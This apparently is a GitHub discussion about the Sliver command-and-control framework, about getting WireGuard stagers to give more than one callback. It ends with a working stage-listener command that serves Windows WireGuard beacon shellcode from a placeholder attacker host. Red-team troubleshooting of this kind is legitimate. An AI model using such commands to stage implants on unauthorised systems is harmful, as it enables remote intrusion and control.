-
I'm trying to play with stagers in sliver and am a little confused. I'm attempting to use wireguard sessions with stagers. I can get it working fine for one call back but having issues with getting more. |
Beta Was this translation helpful? Give feedback.
Replies: 3 comments
-
Wireguard implants have an hardcoded IP that is going to be rotated once the key exchange is performed (after the first connection). This is by design to allow us to reuse the same implant binary multiple times. This has nothing to do with stagers by the way. It would help if you could share the exact commands you typed (just redact the IP/domain names you're using) so we could figure out whether it's a bug or not. |
Beta Was this translation helpful? Give feedback.
-
I would like to reuse both the "stage listener" and "generated stager" multiple times. This is easily possible with mtls. |
Beta Was this translation helpful? Give feedback.
-
I have resolved this issue with the help of the slack channel. Looks like even tho you get one shell back to get more you need to use the "--prepend-size" flag when creating the stage-listener. |
Beta Was this translation helpful? Give feedback.
I have resolved this issue with the help of the slack channel. Looks like even tho you get one shell back to get more you need to use the "--prepend-size" flag when creating the stage-listener.
stage-listener -p win-shellcode-wg-beacon -u http://<attaker>:80 --prepend-size